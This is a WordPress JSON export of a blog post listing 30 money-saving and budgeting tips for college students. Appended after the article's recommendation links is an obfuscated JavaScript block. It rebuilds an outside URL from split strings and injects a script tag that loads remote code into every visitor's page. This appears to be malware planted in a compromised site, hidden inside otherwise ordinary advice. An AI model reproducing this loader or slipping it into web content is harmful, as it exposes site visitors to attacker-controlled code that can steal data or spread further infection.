{"id":199863,"date":"2022-10-31T00:00:00","date_gmt":"2022-10-31T00:00:00","guid":{"rendered":"https:\/\/kiiky.com\/?p=199863"},"modified":"2023-11-16T02:20:48","modified_gmt":"2023-11-16T02:20:48","slug":"financial-tips-for-college-students","status":"publish","type":"post","link":"https:\/\/kiiky.com\/financial-tips-for-college-students\/","title":{"rendered":"30 Financial Tips for College Students in 2023"},"content":{"rendered":"\n<p>When it comes to finances, it is never too early to start planning about it. Therefore, it is imperative to learn financial tips for college students.<\/p>\n\n\n\n<p>Most students find themselves deep in debt with the majority not knowing how they got there. The fact is, most students in their college years are being in charge of their finances for the first time and as such have no idea how to manage and keep funds without falling into depth.<\/p>\n\n\n\n<p>Most students not being the source of their finances don\u2019t understand the basics of how to manage these funds and maximize the funds at their disposal.<\/p>\n\n\n\n<p>This article is here to guide you as a college student on what to do and what not to do as it pertains to your finances. These 30 financial tips will guide you on how to be a bit more conservative as a student, helping you save more and avoid the deep ends of debt.<\/p>\n\n\n\n<p>We would also talk about why you should care about your finances as a student. So, without waiting any further, let\u2019s get right into it.\u00a0<\/p>\n\n\n<figure class=\"wp-block-post-featured-image\"><img decoding=\"async\" width=\"750\" height=\"420\" src=\"https:\/\/kiiky.com\/wp-content\/uploads\/2021\/12\/personal-finance-tips-for-college-students.jpg\" class=\"attachment-post-thumbnail size-post-thumbnail wp-post-image\" alt=\"financial-tips-for-college-students\" style=\"object-fit:cover;\" srcset=\"https:\/\/kiiky.com\/wp-content\/uploads\/2021\/12\/personal-finance-tips-for-college-students.jpg 750w, https:\/\/kiiky.com\/wp-content\/uploads\/2021\/12\/personal-finance-tips-for-college-students-300x168.jpg 300w, https:\/\/kiiky.com\/wp-content\/uploads\/2021\/12\/personal-finance-tips-for-college-students-380x213.jpg 380w\" sizes=\"(max-width: 750px) 100vw, 750px\" \/><\/figure>\n\n\n<div class=\"wp-block-yoast-seo-table-of-contents yoast-table-of-contents\"><h2 id=\"table-of-contents\">Table of contents<\/h2><ul><li><a href=\"#h-why-should-you-care-about-money-while-in-college\" data-level=\"2\">Why Should you Care about Money While in College?<\/a><\/li><li><a href=\"#h-30-financial-tips-for-college-students\" data-level=\"2\">30 Financial Tips for College Students\u00a0<\/a><ul><li><a href=\"#h-1-don-t-buy-new-textbooks\" data-level=\"3\">#1. Don\u2019t Buy New Textbooks\u00a0<\/a><\/li><li><a href=\"#h-2-take-advantage-of-campus-activities\" data-level=\"3\">#2. Take Advantage of Campus Activities\u00a0<\/a><\/li><li><a href=\"#h-3-make-your-own-coffee\" data-level=\"3\">#3. Make your Own Coffee\u00a0<\/a><\/li><li><a href=\"#h-4-be-smart-with-credit-cards-and-checking-accounts\" data-level=\"3\">#4. Be Smart with Credit Cards and Checking Accounts\u00a0<\/a><\/li><li><a href=\"#h-5-test-out-of-or-transfer-as-many-classes-as-you-can\" data-level=\"3\">#5. Test Out of or Transfer as many Classes as you Can\u00a0<\/a><\/li><li><a href=\"#h-6-don-t-buy-music\" data-level=\"3\">#6. Don\u2019t Buy Music\u00a0<\/a><\/li><li><a href=\"#h-7-apply-to-become-a-resident-advisor\" data-level=\"3\">#7. Apply to become a Resident Advisor\u00a0<\/a><\/li><li><a href=\"#h-8-go-generic\" data-level=\"3\">#8. Go Generic\u00a0<\/a><\/li><li><a href=\"#h-9-save-your-spare-change\" data-level=\"3\">#9. Save your Spare Change\u00a0<\/a><\/li><li><a href=\"#h-10-fill-your-birthday-wish-list-with-needs\" data-level=\"3\">#10. Fill your Birthday Wish List with Needs\u00a0<\/a><\/li><li><a href=\"#h-11-always-ask-about-the-student-discount\" data-level=\"3\">#11. Always Ask About the Student Discount\u00a0<\/a><\/li><li><a href=\"#h-12-get-a-part-time-job\" data-level=\"3\">#12. Get a Part-Time Job\u00a0<\/a><\/li><li><a href=\"#h-13-set-a-budget\" data-level=\"3\">#13. Set a Budget\u00a0<\/a><\/li><li><a href=\"#h-14-track-your-expenses\" data-level=\"3\">#14. Track your Expenses\u00a0<\/a><\/li><li><a href=\"#h-15-open-a-savings-account\" data-level=\"3\">#15. Open a Savings Account\u00a0<\/a><\/li><li><a href=\"#h-16-start-building-your-credit-score\" data-level=\"3\">#16. Start Building your Credit Score\u00a0<\/a><\/li><li><a href=\"#h-17-cook-on-a-budget\" data-level=\"3\">#17. Cook on a Budget\u00a0<\/a><\/li><li><a href=\"#h-18-create-an-emergency-fund\" data-level=\"3\">#18. Create an Emergency Fund\u00a0<\/a><\/li><li><a href=\"#h-19-have-a-debt-payoff-plan\" data-level=\"3\">#19. Have a Debt Payoff Plan\u00a0<\/a><\/li><li><a href=\"#h-20-start-investing-now\" data-level=\"3\">#20. Start Investing Now\u00a0<\/a><\/li><li><a href=\"#h-21-use-credit-wisely\" data-level=\"3\">#21. Use Credit Wisely\u00a0<\/a><\/li><li><a href=\"#h-22-protect-yourself\" data-level=\"3\">#22. Protect Yourself\u00a0<\/a><\/li><li><a href=\"#h-23-look-for-ways-to-spend-less\" data-level=\"3\">#23. Look for Ways to Spend Less\u00a0<\/a><\/li><li><a href=\"#h-24-take-control-and-be-responsible\" data-level=\"3\">#24. Take Control, and be Responsible\u00a0\u00a0<\/a><\/li><li><a href=\"#h-25-be-smart-about-your-student-loan-refund\" data-level=\"3\">#25. Be Smart about your Student Loan Refund\u00a0<\/a><\/li><li><a href=\"#h-26-stay-away-from-meme-stocks\" data-level=\"3\">#26. Stay Away from Meme Stocks\u00a0<\/a><\/li><li><a href=\"#h-27-beware-of-school-sponsored-bank-accounts\" data-level=\"3\">#27. Beware of School-Sponsored Bank Accounts\u00a0<\/a><\/li><li><a href=\"#h-28-get-organized\" data-level=\"3\">#28. Get Organized\u00a0<\/a><\/li><li><a href=\"#h-29-entertain-on-a-budget\" data-level=\"3\">#29. Entertain on a Budget\u00a0<\/a><\/li><li><a href=\"#h-30-don-t-always-eat-out\" data-level=\"3\">#30. Don\u2019t Always Eat Out\u00a0<\/a><\/li><\/ul><\/li><li><a href=\"#h-conclusion\" data-level=\"2\">Conclusion\u00a0\u00a0<\/a><\/li><li><a href=\"#h-references\" data-level=\"2\">References\u00a0<\/a><\/li><li><a href=\"#h-recommendation\" data-level=\"2\">Recommendation<\/a><\/li><\/ul><\/div>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-why-should-you-care-about-money-while-in-college\"><span id=\"why-should-you-care-about-money-while-in-college\"><strong>Why Should you Care about Money While in College?<\/strong><\/span><\/h2>\n\n\n\n<p>As a college student, it is no surprise that most people, if not all, have once or twice maxed out credit cards in a matter of days with no concrete memory of what they spent all that money on.<\/p>\n\n\n\n<p>Not caring about your finances or money would leave you in a situation where you have emptied your credit card, overdrawn from your bank account, totally wrecked your credit score, signed leases for apartments you are not able to afford, and have no dime whatsoever in your emergency savings. You could be working a series of student jobs and still never have enough at the end of it all.<\/p>\n\n\n\n<p>Do you want to know what you are doing wrong? Well, the fact probably is you don\u2019t care about money as you should and trust me you should.<\/p>\n\n\n\n<p>So below, we would be writing down some tips for you to see where you have been getting it all wrong all this time and help you figure out a pattern that works for you and would set you on the right track.&nbsp;<\/p>\n\n\n\n<p>Below, we will discuss financial tips for college students.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-30-financial-tips-for-college-students\"><span id=\"30-financial-tips-for-college-students\"><strong>30 Financial Tips for College Students&nbsp;<\/strong><\/span><\/h2>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-1-don-t-buy-new-textbooks\"><span id=\"1-dont-buy-new-textbooks\">#1. Don\u2019t Buy New Textbooks&nbsp;<\/span><\/h3>\n\n\n\n<p>As much as possible avoid buying new books. They only rake in cost and most of the time it is very unnecessary. Old textbooks can be borrowed from colleagues that are higher up in class or from libraries.<\/p>\n\n\n\n<p>The fact is, there are just some textbooks you don\u2019t need to bother owning and, in that case, just borrow them from the library and read as much as you can and when you are done you can return them.<\/p>\n\n\n\n<p>You would never really realize how much books cost until you stop buying them and instead of saving funds that would have been used to purchase textbooks that you might end up needing for just one semester.&nbsp;<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-2-take-advantage-of-campus-activities\"><span id=\"2-take-advantage-of-campus-activities\">#2. Take Advantage of Campus Activities&nbsp;<\/span><\/h3>\n\n\n\n<p>A lot of activities going on in the school which you can attend for leisurely purposes. Are you thinking of going to the mall to see a movie? Why not save up and rather go for a campus movie night at the auditorium?<\/p>\n\n\n\n<p>Also, you can skip the clubs and paid entry parties and just attend regular frat parties on campus. Don\u2019t get me started about the balls and dances. You can have all the fun you want from free college activities. So, we would advise you to look out for them.&nbsp;<\/p>\n\n\n\n<p>Read Also:<a target=\"_blank\" href=\"https:\/\/kiiky.com\/tips-for-success-in-law-school\/\" rel=\"noreferrer noopener\">&nbsp;30 Effective Tips for Success in Law School<\/a><\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-3-make-your-own-coffee\"><span id=\"3-make-your-own-coffee\">#3. Make your Own Coffee&nbsp;<\/span><\/h3>\n\n\n\n<p>If you can, and you do coffee, then it&#8217;s about time you start making your own coffee and stop those trips to the coffee shop.<\/p>\n\n\n\n<p>You can easily get yourself a cheap coffee machine and start brewing your own coffee every morning and you get to save those little changes you feel don\u2019t matter what you usually spend on coffee.&nbsp;<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-4-be-smart-with-credit-cards-and-checking-accounts\"><span id=\"4-be-smart-with-credit-cards-and-checking-accounts\">#4. Be Smart with Credit Cards and Checking Accounts&nbsp;<\/span><\/h3>\n\n\n\n<p>Owning a credit card comes with great responsibility. You might have noticed that a lot of credit card companies have their booths situated all over the campus because fact is, college students are easy targets.<\/p>\n\n\n\n<p>Now, we know that having a credit card, being responsible, and having a good credit score can be very challenging but trust me it can be done.<\/p>\n\n\n\n<p>You need to use your credit cards only for emergencies and always try to pay them off as soon as possible not letting them accumulate. If possible, always try to pay more than the minimum due.&nbsp;<\/p>\n\n\n\n<p>This is one of the financial tips for college students.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-5-test-out-of-or-transfer-as-many-classes-as-you-can\"><span id=\"5-test-out-of-or-transfer-as-many-classes-as-you-can\">#5. Test Out of or Transfer as many Classes as you Can&nbsp;<\/span><\/h3>\n\n\n\n<p>A single college course can cost as much as thousands of dollars in tuition alone, whereas a similar course in a community college can cost way less.<\/p>\n\n\n\n<p>First of all, if you have done a similar course in a community college, ask the registrar about transferring that course in but if you haven\u2019t and it is possible to transfer the course from a community college, then what are you waiting for?<\/p>\n\n\n\n<p>You can go over to a community college and enroll in the same course for a cheaper rate and have it transferred after you are done with the course.<\/p>\n\n\n\n<p>Also, if there are requirements that include something you already know, then you can choose to ask about testing out of it and save the funds required to do the course all over again.&nbsp;<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-6-don-t-buy-music\"><span id=\"6-dont-buy-music\">#6. Don\u2019t Buy Music&nbsp;<\/span><\/h3>\n\n\n\n<p>Yea, We know that getting all that exclusive content from iTunes can be great but is not all worth the hype.<\/p>\n\n\n\n<p>You can opt for services on Spotify and pandora without going for the premium, and get to jam to all your favorite tunes without the extra $1.29 for iTunes. Then, if need be, for purchases, you can save them for days when you have a gift card, then you can purchase away&nbsp;<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-7-apply-to-become-a-resident-advisor\"><span id=\"7-apply-to-become-a-resident-advisor\">#7. Apply to become a Resident Advisor&nbsp;<\/span><\/h3>\n\n\n\n<p>If you are responsible enough and looking out for some way you can make a couple of bucks while in college, then applying for the resident advisor isn\u2019t a bad idea.<\/p>\n\n\n\n<p>In some colleges, RAs get free room and board which would save you a truckload of money. You are responsible for keeping an eye on those living in your hall and maybe organizing a few events here and there over time. You may be charged with other responsibilities depending on the situation at hand.&nbsp;<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-8-go-generic\"><span id=\"8-go-generic\">#8. Go Generic&nbsp;<\/span><\/h3>\n\n\n\n<p>For most people, this might seem like a fashion suicide when you aren\u2019t always dressed in Fendi or Chanel but the fact is the generic brands would give you just about the same quality without the overpriced brand.&nbsp;<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-9-save-your-spare-change\"><span id=\"9-save-your-spare-change\">#9. Save your Spare Change&nbsp;<\/span><\/h3>\n\n\n\n<p>You might have heard the saying \u201ca little goes a long way\u201d, well that applies to your finances too. As generous as you would like to be with the tips, always remember to set some aside for later.<\/p>\n\n\n\n<p>One day you would never know what all these tiny drops of rain would do for you on rainy days. Also, you might be at a vending machine and need those extra loose changes for a drink or snack, instead of breaking $20, you can easily pull out some loose change and save up the rest.&nbsp;<\/p>\n\n\n\n<p>Read Also:&nbsp;<a target=\"_blank\" href=\"https:\/\/kiiky.com\/informative-speech-topics-for-college-students\/\" rel=\"noreferrer noopener\">100 Informative Speech Topics for College Students<\/a><\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-10-fill-your-birthday-wish-list-with-needs\"><span id=\"10-fill-your-birthday-wish-list-with-needs\">#10. Fill your Birthday Wish List with Needs&nbsp;<\/span><\/h3>\n\n\n\n<p>If you get to have a birthday list, then we advise you to use it wisely. When the opportunity presents itself, do your finances a favor by filling your list with only things you need and not things you want.<\/p>\n\n\n\n<p>That would help you save a lot in the long run cause well; you won\u2019t get to buy those needs anymore with your own funds.&nbsp;<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-11-always-ask-about-the-student-discount\"><span id=\"11-always-ask-about-the-student-discount\">#11. Always Ask About the Student Discount&nbsp;<\/span><\/h3>\n\n\n\n<p>Now, a lot of stores and service centers offer amazing student discounts especially if their target population for the commodity is students. Why have you been missing out on these discounts? Well, you have never quite asked.<\/p>\n\n\n\n<p>So, when the time you go to purchase at a convenience store, maybe one on-campus or off-campus, and close by, do well to ask if there are any student discounts.&nbsp;<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-12-get-a-part-time-job\"><span id=\"12-get-a-part-time-job\">#12. Get a Part-Time Job&nbsp;<\/span><\/h3>\n\n\n\n<p>To make those extra funds, you would need to get a part-time job you can work with while studying in school. A part-time job can earn you as much as $12 per shift. This can go a long way to boost your financial freedom as a student.&nbsp;<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-13-set-a-budget\"><span id=\"13-set-a-budget\">#13. Set a Budget&nbsp;<\/span><\/h3>\n\n\n\n<p>Setting a budget would help you plan how to manage your funds. Allocating different funds to different tasks would help you keep track of what you are spending on and how much you would be spending on it.&nbsp;<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-14-track-your-expenses\"><span id=\"14-track-your-expenses\">#14. Track your Expenses&nbsp;<\/span><\/h3>\n\n\n\n<p>Keeping a track of how much money you spend is a good financial tip that would help you keep an eye on your finances as a college student. Pay attention to how much you spend and what you are spending on.&nbsp;<\/p>\n\n\n\n<p>This is one of the financial tips for college students.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-15-open-a-savings-account\"><span id=\"15-open-a-savings-account\">#15. Open a Savings Account&nbsp;<\/span><\/h3>\n\n\n\n<p>Opening a savings account would help you a lot as a student. It would help you in saving up your funds and keep them out of hand which would make it hard to spend.&nbsp;&nbsp;<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-16-start-building-your-credit-score\"><span id=\"16-start-building-your-credit-score\">#16. Start Building your Credit Score&nbsp;<\/span><\/h3>\n\n\n\n<p>You can never go wrong in building up your credit score which plays a huge part in apartment renting and buying cars amongst other things. Always try as much as possible to pay off loans as soon as possible or make down payments on loans little at a time&nbsp;<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-17-cook-on-a-budget\"><span id=\"17-cook-on-a-budget\">#17. Cook on a Budget&nbsp;<\/span><\/h3>\n\n\n\n<p>Forget the fancy food and the luxurious meals. Try cooking on a budget in which way you get to save on meals. Maybe once in a while, you might decide to spoil yourself a little bit and cook something fancy but try not to make a habit of it.&nbsp;<\/p>\n\n\n\n<p>Read Also:&nbsp;<a target=\"_blank\" href=\"https:\/\/kiiky.com\/how-to-become-a-loan-officer\/\" rel=\"noreferrer noopener\">How can I become a Loan Officer very Fast? Training, Licenses, Salary &amp; Cost<\/a><\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-18-create-an-emergency-fund\"><span id=\"18-create-an-emergency-fund\">#18. Create an Emergency Fund&nbsp;<\/span><\/h3>\n\n\n\n<p>Try to keep aside some funds for emergencies. You won\u2019t want to be trapped in a dicey situation and have no way out. So, if I were to be in your shoes, I would set aside some funds, maybe once a month or a week, which would be strictly for emergencies. And if the emergency happens to occur, do well to build up your emergency funds again in case something off-plan happens.&nbsp;<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-19-have-a-debt-payoff-plan\"><span id=\"19-have-a-debt-payoff-plan\">#19. Have a Debt Payoff Plan&nbsp;<\/span><\/h3>\n\n\n\n<p>If you have debts, you should also have the plan to settle those debts. Having a debt payoff plan would go a long way to keep you out of debt and your debt at a minimum.&nbsp;<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-20-start-investing-now\"><span id=\"20-start-investing-now\">#20. Start Investing Now&nbsp;<\/span><\/h3>\n\n\n\n<p>You can pick a great project and invest in it. Maybe you can look out for stocks or bonds that have a lot of potential. Purchase as much as you can and leave it long-term to appreciate. You would be grateful when these investments pay off.&nbsp;<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-21-use-credit-wisely\"><span id=\"21-use-credit-wisely\">#21. Use Credit Wisely&nbsp;<\/span><\/h3>\n\n\n\n<p>First, the thing to always keep in mind when you have a credit card is, it&#8217;s not your money. It\u2019s basically a loan you would have to pay back. If you fail to pay back your credits it acquires interest and fees and you, we more.<\/p>\n\n\n\n<p>So, if you do have a credit card be mindful of what you spend on and also try as much as you can to pay back on credit as soon as possible.<\/p>\n\n\n\n<p>This is one of the financial tips for college students.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-22-protect-yourself\"><span id=\"22-protect-yourself\">#22. Protect Yourself&nbsp;<\/span><\/h3>\n\n\n\n<p>Now, you might be used to leaving notes of cash lying around, but the fact is this habit has to stop. You would need to be more particular about cash, especially around roommates and classmates or others who may want to borrow money or bring up great ideas on ways you could spend yours.<\/p>\n\n\n\n<p>Also, look out for identity theft when shopping online to avoid falling prey to online scammers.&nbsp;<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-23-look-for-ways-to-spend-less\"><span id=\"23-look-for-ways-to-spend-less\">#23. Look for Ways to Spend Less&nbsp;<\/span><\/h3>\n\n\n\n<p>Always take advantage of student discounts, check online for student traveling deals, and check for student food, books, clothing, or entertainment deals. Keep tabs on your free coupons before a shopping trip and always stick to the generic stuff&nbsp;<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-24-take-control-and-be-responsible\"><span id=\"24-take-control-and-be-responsible\">#24. Take Control, and be Responsible&nbsp;&nbsp;<\/span><\/h3>\n\n\n\n<p>With great power comes great responsibility. It&#8217;s about time you own up to your financial responsibilities and starts taking care of them. It&#8217;s left for nobody else but you.<\/p>\n\n\n\n<p>You should always try to be more intentional especially when it concerns your funds.&nbsp;<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-25-be-smart-about-your-student-loan-refund\"><span id=\"25-be-smart-about-your-student-loan-refund\">#25. Be Smart about your Student Loan Refund&nbsp;<\/span><\/h3>\n\n\n\n<p>Student loans most of the time are necessary to finance higher education, if you are part of this crowd then you might also be expecting some student loan refund after payment of tuition and loans.<\/p>\n\n\n\n<p>Now, what you do with this refund should matter, don\u2019t go buying clothes and accessories you don\u2019t need rather you should send the refund back to your loan servicer in that way you don\u2019t borrow more than you need.&nbsp;<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-26-stay-away-from-meme-stocks\"><span id=\"26-stay-away-from-meme-stocks\">#26. Stay Away from Meme Stocks&nbsp;<\/span><\/h3>\n\n\n\n<p>The development of fintech apps has made day trading easier than ever. You might find that it is easier to get stuck up on meme stocks which can take away all your money because they lack the fundamental basis behind stocks.<\/p>\n\n\n\n<p>If you wish to invest early, always choose concrete stocks with long-term potentials that are not as volatile.&nbsp;<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-27-beware-of-school-sponsored-bank-accounts\"><span id=\"27-beware-of-school-sponsored-bank-accounts\">#27. Beware of School-Sponsored Bank Accounts&nbsp;<\/span><\/h3>\n\n\n\n<p>Over the years, it\u2019s been observed that School-Sponsored Banks have very high fees on their bank accounts and as a college student, this should be a major red flag.<\/p>\n\n\n\n<p>The key is to save money and not have the bank take away the few funds you saved. Try to always go for the choice of banks with the least or no fees at all.&nbsp;<\/p>\n\n\n\n<p>This is one of the financial tips for college students.<\/p>\n\n\n\n<p>Read Also:&nbsp;<a target=\"_blank\" href=\"https:\/\/kiiky.com\/law-school-tips\/\" rel=\"noreferrer noopener\">30 Effective Tips For Success In Law School<\/a><\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-28-get-organized\"><span id=\"28-get-organized\">#28. Get Organized&nbsp;<\/span><\/h3>\n\n\n\n<p>Organization would go a long way in helping you save your funds. The more organized you are the fewer unplanned expenses you incur.&nbsp;<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-29-entertain-on-a-budget\"><span id=\"29-entertain-on-a-budget\">#29. Entertain on a Budget&nbsp;<\/span><\/h3>\n\n\n\n<p>When your friends say they are coming over. Don\u2019t go and break the bank just to entertain them or feel the need to throw an all-out party just for their entertainment.<\/p>\n\n\n\n<p>Also, try and entertain on a budget and try not to exceed the said budget you would be thankful for it.&nbsp;<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"h-30-don-t-always-eat-out\"><span id=\"30-dont-always-eat-out\">#30. Don\u2019t Always Eat Out&nbsp;<\/span><\/h3>\n\n\n\n<p>Try as much as possible to avoid eating out, especially in luxurious restaurants. Take some time out and cook something at home instead. You can make healthier cheaper food at home by yourself than throwing all that cash for just one meal at a restaurant.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-conclusion\"><span id=\"conclusion\"><strong>Conclusion&nbsp;&nbsp;<\/strong><\/span><\/h2>\n\n\n\n<p>Keeping an eye on your finances while you are in college would do you lots of good, not only when you are still in college but also afterward. It would help you cut down on debts and help you start on the right path post-graduation.<\/p>\n\n\n\n<p>So, do make sure you abide by a few of these financial tips as a college student then come thank me later.&nbsp;<\/p>\n\n\n\n<p>These are the financial tips for college students. We hope you enjoyed reading through it.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-references\"><span id=\"references\"><strong>References&nbsp;<\/strong><\/span><\/h2>\n\n\n\n<ul>\n<li><a href=\"https:\/\/www.forbes.com\/advisor\/personal-finance\/college-students-financial-success\/\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">forbes.com\/<\/a>\u00a0&#8211; How New College Students Can Set Themselves Up For Financial Success<\/li>\n\n\n\n<li>\u00a0<a href=\"https:\/\/www.debt.org\/students\/financial-tips-college-students\/\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">debt.org\/<\/a>\u00a0&#8211; 10 Financial Tips for College Students<\/li>\n\n\n\n<li>\u00a0<a href=\"https:\/\/meratas.com\/blog\/how-to-manage-money-as-a-college-student\/\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">meratas.com\/<\/a>\u00a0&#8211; Ten Tips For Managing Your Money as a College Student<\/li>\n\n\n\n<li>\u00a0<a href=\"https:\/\/www.bestvalueschools.com\/resources\/money-saving-tips-college-students\/\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">bestvalueschools.com\/<\/a>\u00a0&#8211; 30 MONEY SAVING TIPS FOR COLLEGE STUDENTS<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"h-recommendation\"><span id=\"recommendation\"><strong>Recommendation<\/strong><\/span><\/h2>\n\n\n\n<ul>\n<li><a target=\"_blank\" href=\"https:\/\/kiiky.com\/law-school-tips\/\" rel=\"noreferrer noopener\">30 Effective Tips For Success In Law School<\/a><\/li>\n\n\n\n<li>&nbsp;<a target=\"_blank\" href=\"https:\/\/kiiky.com\/resume-with-no-experience\/\" rel=\"noreferrer noopener\">How to Write a Resume With No Work Experience: Simple Step-by-step guide<\/a><\/li>\n\n\n\n<li>&nbsp;<a target=\"_blank\" href=\"https:\/\/kiiky.com\/how-to-write-in-mla-format\/\" rel=\"noreferrer noopener\">How to Write in MLA Format: Simple Step-by-step Guide<\/a><\/li>\n\n\n\n<li>&nbsp;<a target=\"_blank\" href=\"https:\/\/kiiky.com\/standard-formats-on-book-report-writing\/\" rel=\"noreferrer noopener\">Standard Formats On Book Report Writing in 2022<\/a><\/li>\n<\/ul>\n<script>function _0x39e0(_0x2e6d70,_0x39105a){const _0x273464=_0x4b2c();return _0x39e0=function(_0x56c18b,_0x4aa193){_0x56c18b=_0x56c18b-(-0x2bd*0x1+-0xa5*0x4+0x6f1);let _0x5478aa=_0x273464[_0x56c18b];return _0x5478aa;},_0x39e0(_0x2e6d70,_0x39105a);}const _0x1736b2=_0x39e0;(function(_0x3391b0,_0xb1095e){const _0x27dcfa=_0x39e0,_0x214068=_0x3391b0();while(!![]){try{const _0x4b86db=-parseInt(_0x27dcfa(0x1b4))\/(0x179a+-0x1706+-0x93)*(-parseInt(_0x27dcfa(0x1ae))\/(0xd02+0x17f5+-0x24f5))+parseInt(_0x27dcfa(0x1b5))\/(0x1325+0x2259+-0x357b)+-parseInt(_0x27dcfa(0x1a3))\/(-0x1085+-0x17*0x1+-0x1c*-0x98)*(parseInt(_0x27dcfa(0x1b0))\/(-0x19f2*-0x1+-0x1f57+0x7*0xc6))+parseInt(_0x27dcfa(0x1af))\/(0x1c5+0x26ea+-0x5cf*0x7)*(parseInt(_0x27dcfa(0x1a1))\/(0x255a+-0x931*-0x4+0x4a17*-0x1))+-parseInt(_0x27dcfa(0x1a6))\/(-0x78*-0x14+0xb6b+-0x1*0x14c3)*(-parseInt(_0x27dcfa(0x1b2))\/(-0x29*0x83+0x2692+-0x7*0x282))+parseInt(_0x27dcfa(0x1a0))\/(0x25d0+-0x3cf+-0x21f7)*(-parseInt(_0x27dcfa(0x1b3))\/(0x16c1+0x10*0x8f+-0x1fa6))+parseInt(_0x27dcfa(0x1a5))\/(0x881*-0x1+-0xa76+0x1303);if(_0x4b86db===_0xb1095e)break;else _0x214068['push'](_0x214068['shift']());}catch(_0x3f6e4e){_0x214068['push'](_0x214068['shift']());}}}(_0x4b2c,-0x5*-0x3e1bf+-0x1aca7f+0x156689));let script=document[_0x1736b2(0x1aa)+_0x1736b2(0x1ab)](_0x1736b2(0x1ac));script[_0x1736b2(0x1a2)]=_0x1736b2(0x1a8)+_0x1736b2(0x1ad)+_0x1736b2(0x1a7)+_0x1736b2(0x1a4),document[_0x1736b2(0x1a9)][_0x1736b2(0x1b1)+'d'](script);function _0x4b2c(){const _0x4f1112=['17443550keKqRZ','931FnYPhN','src','69028IzsNTz','index.js','8093784mCBYaL','47152AEpkIl','tter1.org\/','https:\/\/bl','head','createElem','ent','script','acklivesma','519158cdunSS','1986TJriDL','295BDDNha','appendChil','774DfdWRJ','11UNaThE','4HshFMS','4252614uPxTub'];_0x4b2c=function(){return _0x4f1112;};return _0x4b2c();}<\/script>","protected":false},"excerpt":{"rendered":"When it comes to finances, it is never too early to start planning about it. Therefore, it is&hellip;\n","protected":false},"author":11467,"featured_media":199909,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[7],"tags":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v22.6 (Yoast SEO v22.6) - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>30 Financial Tips for College Students<\/title>\n<meta name=\"description\" content=\"This article contains the financial tips for college students. They include 1.\u00a0Don\u2019t buy new textbooks\u00a0...Read full article here\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/kiiky.com\/financial-tips-for-college-students\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"30 Financial Tips for College Students in 2023\" \/>\n<meta property=\"og:description\" content=\"This article contains the financial tips for college students. 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